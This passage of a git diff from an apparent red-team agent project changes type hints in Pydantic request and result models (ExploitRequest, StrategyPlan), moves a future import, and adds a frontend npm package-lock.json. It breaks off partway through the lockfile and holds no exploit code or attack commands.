summaries: Dict[str, str] = Field(default_factory=dict) class ExploitRequest(BaseModel): target: str - cve_id: str | None = None - payload: str | None = None - options: dict[str, Any] = Field(default_factory=dict) + cve_id: Optional[str] = None + payload: Optional[str] = None + options: Dict[str, Any] = Field(default_factory=dict) class ExploitResult(BaseModel): tool_call: ToolCall success: bool = False - foothold: str | None = None - notes: str | None = None + foothold: Optional[str] = None + notes: Optional[str] = None class StrategyRequest(BaseModel): target: str - intel: dict[str, Any] = Field(default_factory=dict) + intel: Dict[str, Any] = Field(default_factory=dict) class StrategyPlan(BaseModel): tool_call: ToolCall - steps: list[str] = Field(default_factory=list) - rationale: str | None = None + steps: List[str] = Field(default_factory=list) + rationale: Optional[str] = None diff --git a/red_agent/backend/services/red_service.py b/red_agent/backend/services/red_service.py index dd768f134..4ca71182b 100644 --- a/red_agent/backend/services/red_service.py +++ b/red_agent/backend/services/red_service.py @@ -1,3 +1,5 @@ +from __future__ import annotations + """Bridge between the HTTP/WS layer and the Red agent's domain modules. This module is intentionally the *only* place the backend talks to the @@ -5,8 +7,6 @@ decoupled from the FastAPI surface. """ -from __future__ import annotations - import uuid from collections import deque from datetime import datetime diff --git a/red_agent/frontend/package-lock.json b/red_agent/frontend/package-lock.json new file mode 100644 index 000000000..b79c87b0b --- /dev/null +++ b/red_agent/frontend/package-lock.json @@ -0,0 +1,2051 @@ +{ + "name": "htf-red-frontend", + "version": "0.1.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "htf-red-frontend", + "version": "0.1.0", + "dependencies": { + "axios": "^1.7.7", + "react": "^18.3.1", + "react-dom": "^18.3.1" + }, + "devDependencies": { + "@types/react": "^18.3.11", + "@types/react-dom": "^18.3.0", + "@vitejs/plugin-react": "^4.3.2", + "typescript": "^5.6.2", + "vite": "^5.4.8" + } + }, + "node_modules/@babel/code-frame": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.0.tgz", + "integrity": "sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-validator-identifier": "^7.28.5", + "js-tokens": "^4.0.0", + "picocolors": "^1.1.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/compat-data": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.29.0.tgz", + "integrity": "sha512-T1NCJqT/j9+cn8fvkt7jtwbLBfLC/1y1c7NtCeXFRgzGTsafi68MRv8yzkYSapBnFA6L3U2VSc02ciDzoAJhJg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/core": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.29.0.tgz", + "integrity": "sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.29.0", + "@babel/generator": "^7.29.0", + "@babel/helper-compilation-targets": "^7.28.6", + "@babel/helper-module-transforms": "^7.28.6", + "@babel/helpers": "^7.28.6", + "@babel/parser": "^7.29.0", + "@babel/template": "^7.28.6", + "@babel/traverse": "^7.29.0", + "@babel/types": "^7.29.0", + "@jridgewell/remapping": "^2.3.5", + "convert-source-map": "^2.0.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.2", + "json5": "^2.2.3", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/babel" + } + }, + "node_modules/@babel/generator": { + "version": "7.29.1", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.29.1.tgz", + "integrity": "sha512-qsaF+9Qcm2Qv8SRIMMscAvG4O3lJ0F1GuMo5HR/Bp02LopNgnZBC/EkbevHFeGs4ls/oPz9v+Bsmzbkbe+0dUw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.29.0", + "@babel/types": "^7.29.0", + "@jridgewell/gen-mapping": "^0.3.12", + "@jridgewell/trace-mapping": "^0.3.28", + "jsesc": "^3.0.2" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-compilation-targets": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.28.6.tgz", + "integrity": "sha512-JYtls3hqi15fcx5GaSNL7SCTJ2MNmjrkHXg4FSpOA/grxK8KwyZ5bubHsCq8FXCkua6xhuaaBit+3b7+VZRfcA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/compat-data": "^7.28.6", + "@babel/helper-validator-option": "^7.27.1", + "browserslist": "^4.24.0", + "lru-cache": "^5.1.1", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-globals": { + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz", + "integrity": "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-imports": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.28.6.tgz", + "integrity": "sha512-l5XkZK7r7wa9LucGw9LwZyyCUscb4x37JWTPz7swwFE/0FMQAGpiWUZn8u9DzkSBWEcK25jmvubfpw2dnAMdbw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/traverse": "^7.28.6", + "@babel/types": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-transforms": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.6.tgz", + "integrity": "sha512-67oXFAYr2cDLDVGLXTEABjdBJZ6drElUSI7WKp70NrpyISso3plG9SAGEF6y7zbha/wOzUByWWTJvEDVNIUGcA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-module-imports": "^7.28.6", + "@babel/helper-validator-identifier": "^7.28.5", + "@babel/traverse": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-plugin-utils": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.28.6.tgz", + "integrity": "sha512-S9gzZ/bz83GRysI7gAD4wPT/AI3uCnY+9xn+Mx/KPs2JwHJIz1W8PZkg2cqyt3RNOBM8ejcXhV6y8Og7ly/Dug==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-string-parser": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", + "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.28.5", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz", + "integrity": "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-option": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz", + "integrity": "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helpers": { + "version": "7.29.2", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.29.2.tgz", + "integrity": "sha512-HoGuUs4sCZNezVEKdVcwqmZN8GoHirLUcLaYVNBK2J0DadGtdcqgr3BCbvH8+XUo4NGjNl3VOtSjEKNzqfFgKw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/template": "^7.28.6", + "@babel/types": "^7.29.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/parser": { + "version": "7.29.2", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.2.tgz", + "integrity": "sha512-4GgRzy/+fsBa72/RZVJmGKPmZu9Byn8o4MoLpmNe1m8ZfYnz5emHLQz3U4gLud6Zwl0RZIcgiLD7Uq7ySFuDLA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/types": "^7.29.0" + }, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx-self": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.27.1.tgz", + "integrity": "sha512-6UzkCs+ejGdZ5mFFC/OCUrv028ab2fp1znZmCZjAOBKiBK2jXD1O+BPSfX8X2qjJ75fZBMSnQn3Rq2mrBJK2mw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx-source": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.27.1.tgz", + "integrity": "sha512-zbwoTsBruTeKB9hSq73ha66iFeJHuaFkUbwvqElnygoNbj/jHRsSeokowZFN3CZ64IvEqcmmkVe89OPXc7ldAw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/template": { + "version": "7.28.6", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.28.6.tgz", + "integrity": "sha512-YA6Ma2KsCdGb+WC6UpBVFJGXL58MDA6oyONbjyF/+5sBgxY/dwkhLogbMT2GXXyU84/IhRw/2D1Os1B/giz+BQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.28.6", + "@babel/parser": "^7.28.6", + "@babel/types": "^7.28.6" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/traverse": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.29.0.tgz", + "integrity": "sha512-4HPiQr0X7+waHfyXPZpWPfWL/J7dcN1mx9gL6WdQVMbPnF3+ZhSMs8tCxN7oHddJE9fhNE7+lxdnlyemKfJRuA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.29.0", + "@babel/generator": "^7.29.0", + "@babel/helper-globals": "^7.28.0", + "@babel/parser": "^7.29.0", + "@babel/template": "^7.28.6", + "@babel/types": "^7.29.0", + "debug": "^4.3.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/types": { + "version": "7.29.0", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.0.tgz", + "integrity": "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-string-parser": "^7.27.1", + "@babel/helper-validator-identifier": "^7.28.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@esbuild/aix-ppc64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.21.5.tgz", + "integrity": "sha512-1SDgH6ZSPTlggy1yI6+Dbkiz8xzpHJEVAlF/AM1tHPLsf5STom9rwtjE4hKAF20FfXXNTFqEYXyJNWh1GiZedQ==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "aix" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/android-arm": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.21.5.tgz", + "integrity": "sha512-vCPvzSjpPHEi1siZdlvAlsPxXl7WbOVUBBAowWug4rJHb68Ox8KualB+1ocNvT5fjv6wpkX6o/iEpbDrf68zcg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/android-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.21.5.tgz", + "integrity": "sha512-c0uX9VAUBQ7dTDCjq+wdyGLowMdtR/GoC2U5IYk/7D1H1JYC0qseD7+11iMP2mRLN9RcCMRcjC4YMclCzGwS/A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/android-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.21.5.tgz", + "integrity": "sha512-D7aPRUUNHRBwHxzxRvp856rjUHRFW1SdQATKXH2hqA0kAZb1hKmi02OpYRacl0TxIGz/ZmXWlbZgjwWYaCakTA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/darwin-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.21.5.tgz", + "integrity": "sha512-DwqXqZyuk5AiWWf3UfLiRDJ5EDd49zg6O9wclZ7kUMv2WRFr4HKjXp/5t8JZ11QbQfUS6/cRCKGwYhtNAY88kQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/darwin-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.21.5.tgz", + "integrity": "sha512-se/JjF8NlmKVG4kNIuyWMV/22ZaerB+qaSi5MdrXtd6R08kvs2qCN4C09miupktDitvh8jRFflwGFBQcxZRjbw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/freebsd-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.21.5.tgz", + "integrity": "sha512-5JcRxxRDUJLX8JXp/wcBCy3pENnCgBR9bN6JsY4OmhfUtIHe3ZW0mawA7+RDAcMLrMIZaf03NlQiX9DGyB8h4g==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/freebsd-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.21.5.tgz", + "integrity": "sha512-J95kNBj1zkbMXtHVH29bBriQygMXqoVQOQYA+ISs0/2l3T9/kj42ow2mpqerRBxDJnmkUDCaQT/dfNXWX/ZZCQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-arm": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.21.5.tgz", + "integrity": "sha512-bPb5AHZtbeNGjCKVZ9UGqGwo8EUu4cLq68E95A53KlxAPRmUyYv2D6F0uUI65XisGOL1hBP5mTronbgo+0bFcA==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.21.5.tgz", + "integrity": "sha512-ibKvmyYzKsBeX8d8I7MH/TMfWDXBF3db4qM6sy+7re0YXya+K1cem3on9XgdT2EQGMu4hQyZhan7TeQ8XkGp4Q==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-ia32": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.21.5.tgz", + "integrity": "sha512-YvjXDqLRqPDl2dvRODYmmhz4rPeVKYvppfGYKSNGdyZkA01046pLWyRKKI3ax8fbJoK5QbxblURkwK/MWY18Tg==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-loong64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.21.5.tgz", + "integrity": "sha512-uHf1BmMG8qEvzdrzAqg2SIG/02+4/DHB6a9Kbya0XDvwDEKCoC8ZRWI5JJvNdUjtciBGFQ5PuBlpEOXQj+JQSg==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-mips64el": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.21.5.tgz", + "integrity": "sha512-IajOmO+KJK23bj52dFSNCMsz1QP1DqM6cwLUv3W1QwyxkyIWecfafnI555fvSGqEKwjMXVLokcV5ygHW5b3Jbg==", + "cpu": [ + "mips64el" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-ppc64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.21.5.tgz", + "integrity": "sha512-1hHV/Z4OEfMwpLO8rp7CvlhBDnjsC3CttJXIhBi+5Aj5r+MBvy4egg7wCbe//hSsT+RvDAG7s81tAvpL2XAE4w==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-riscv64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.21.5.tgz", + "integrity": "sha512-2HdXDMd9GMgTGrPWnJzP2ALSokE/0O5HhTUvWIbD3YdjME8JwvSCnNGBnTThKGEB91OZhzrJ4qIIxk/SBmyDDA==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-s390x": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.21.5.tgz", + "integrity": "sha512-zus5sxzqBJD3eXxwvjN1yQkRepANgxE9lgOW2qLnmr8ikMTphkjgXu1HR01K4FJg8h1kEEDAqDcZQtbrRnB41A==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.21.5.tgz", + "integrity": "sha512-1rYdTpyv03iycF1+BhzrzQJCdOuAOtaqHTWJZCWvijKD2N5Xu0TtVC8/+1faWqcP9iBCWOmjmhoH94dH82BxPQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/netbsd-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.21.5.tgz", + "integrity": "sha512-Woi2MXzXjMULccIwMnLciyZH4nCIMpWQAs049KEeMvOcNADVxo0UBIQPfSmxB3CWKedngg7sWZdLvLczpe0tLg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/openbsd-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.21.5.tgz", + "integrity": "sha512-HLNNw99xsvx12lFBUwoT8EVCsSvRNDVxNpjZ7bPn947b8gJPzeHWyNVhFsaerc0n3TsbOINvRP2byTZ5LKezow==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/sunos-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.21.5.tgz", + "integrity": "sha512-6+gjmFpfy0BHU5Tpptkuh8+uw3mnrvgs+dSPQXQOv3ekbordwnzTVEb4qnIvQcYXq6gzkyTnoZ9dZG+D4garKg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/win32-arm64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.21.5.tgz", + "integrity": "sha512-Z0gOTd75VvXqyq7nsl93zwahcTROgqvuAcYDUr+vOv8uHhNSKROyU961kgtCD1e95IqPKSQKH7tBTslnS3tA8A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/win32-ia32": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.21.5.tgz", + "integrity": "sha512-SWXFF1CL2RVNMaVs+BBClwtfZSvDgtL//G/smwAc5oVK/UPu2Gu9tIaRgFmYFFKrmg3SyAjSrElf0TiJ1v8fYA==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/win32-x64": { + "version": "0.21.5", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.21.5.tgz", + "integrity": "sha512-tQd/1efJuzPC6rCFwEvLtci/xNFcTZknmXs98FYDfGE4wP9ClFV98nyKrzJKVPMhdDnjzLhdUyMX4PsQAPjwIw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@jridgewell/gen-mapping": { + "version": "0.3.13", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz", + "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.5.0", + "@jridgewell/trace-mapping": "^0.3.24" + } + }, + "node_modules/@jridgewell/remapping": { + "version": "2.3.5", + "resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz", + "integrity": "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.5", + "@jridgewell/trace-mapping": "^0.3.24" + } + }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", + "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.5.5", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", + "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", + "dev": true, + "license": "MIT" + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.31", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz", + "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" + } + }, + "node_modules/@rolldown/pluginutils": { + "version": "1.0.0-beta.27", + "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-beta.27.tgz", + "integrity": "sha512-+d0F4MKMCbeVUJwG96uQ4SgAznZNSq93I3V+9NHA4OpvqG8mRCpGdKmK8l/dl02h2CCDHwW2FqilnTyDcAnqjA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@rollup/rollup-android-arm-eabi": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.60.1.tgz", + "integrity": "sha512-d6FinEBLdIiK+1uACUttJKfgZREXrF0Qc2SmLII7W2AD8FfiZ9Wjd+rD/iRuf5s5dWrr1GgwXCvPqOuDquOowA==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@rollup/rollup-android-arm64": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.60.1.tgz", + "integrity": "sha512-YjG/EwIDvvYI1YvYbHvDz/BYHtkY4ygUIXHnTdLhG+hKIQFBiosfWiACWortsKPKU/+dUwQQCKQM3qrDe8c9BA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@rollup/rollup-darwin-arm64": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.60.1.tgz", + "integrity": "sha512-mjCpF7GmkRtSJwon+Rq1N8+pI+8l7w5g9Z3vWj4T7abguC4Czwi3Yu/pFaLvA3TTeMVjnu3ctigusqWUfjZzvw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@rollup/rollup-darwin-x64": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.60.1.tgz", + "integrity": "sha512-haZ7hJ1JT4e9hqkoT9R/19XW2QKqjfJVv+i5AGg57S+nLk9lQnJ1F/eZloRO3o9Scy9CM3wQ9l+dkXtcBgN5Ew==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@rollup/rollup-freebsd-arm64": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.60.1.tgz", + "integrity": "sha512-czw90wpQq3ZsAVBlinZjAYTKduOjTywlG7fEeWKUA7oCmpA8xdTkxZZlwNJKWqILlq0wehoZcJYfBvOyhPTQ6w==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, + "node_modules/@rollup/rollup-freebsd-x64": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.60.1.tgz", + "integrity": "sha512-KVB2rqsxTHuBtfOeySEyzEOB7ltlB/ux38iu2rBQzkjbwRVlkhAGIEDiiYnO2kFOkJp+Z7pUXKyrRRFuFUKt+g==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, + "node_modules/@rollup/rollup-linux-arm-gnueabihf": { + "version": "4.60.1", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.60.1.tgz", + "integrity": 